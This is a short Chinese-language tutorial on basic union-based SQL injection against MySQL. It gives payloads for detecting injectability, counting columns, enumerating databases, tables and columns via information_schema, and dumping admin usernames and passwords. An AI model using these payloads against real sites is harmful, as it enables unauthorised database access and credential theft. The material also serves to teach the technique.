SQL注入基础
判断是否可以注入
and 1=1
正常运行and 1=2
产生错误
表明可以进行注入。
判断字段数
order by
[int] 试出显示的表一共有几个字段
判断第几列能显示
and 1=2 union select 1,2,3,4......n
and 1=2
是为了把之前的查询报错不显示;这里的n是字段总数;union select 1,2,3,4......n
是连接查询,作用是为上述的每一列标号,查询后显示几就说明第几列能显示。
判断版本信息
and 1=2 union select 1,2,version(),4,5,6,7
在能显示的一列查询version
。
MySQL基本知识
- MySQL中,名为
information_schema
的数据库存放着与此数据库服务器相关的很多信息。其中:SCHEMATA
中存放有此数据库服务器所有的数据库名称TABLES
中有所有数据库的所有表的名称COLUMNS
中有所有数据库的有所表的所有列的名称
所以可以从information_schema
获取到想要的列的名称。
获取数据库名
and 1=2 union select 1,2,SCHEMA_NAME,4,5,6,7 from information_schema.SCHEMATA limit 0,1
在information_schema.SCHEMATA
表中查询SCHEMA_NAME
列,即数据库名。limit [int],1
表示每次显示一个。一次一次地查,查到想要的数据库名为止。
获取表名
and 1=2 union select 1,2,TABLE_NAME,4,5,6,7 from information_schema.TABLES where TABLE_SCHEMA=0x756661357A613673356B5F64617461 limit 0,1
在information_schema.TABLES
表中查询TABLE_NAME
列,注意条件语句中TABLE_SCHEMA因为是在url中表示,所以要转换成16进制数。
and 1=2 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()
获取当前数据库下全部表
获取列名
and 1=2 union select 1,2,column_name,4,5,6,7 from information_schema.columns where table_name=0x75736572 limit 1,1
and 1=2 union select 1,2,3,4,5,group_concat(column_name),7 from information_schema.columns where table_name=0x64625f61646d696e
获取指定表的所有列
获取数据
and 1=2 union select 1,2,3,4,5,group_concat(adminUserName, adminPassWord),7 from db_admin
获取指定表的数据
Comments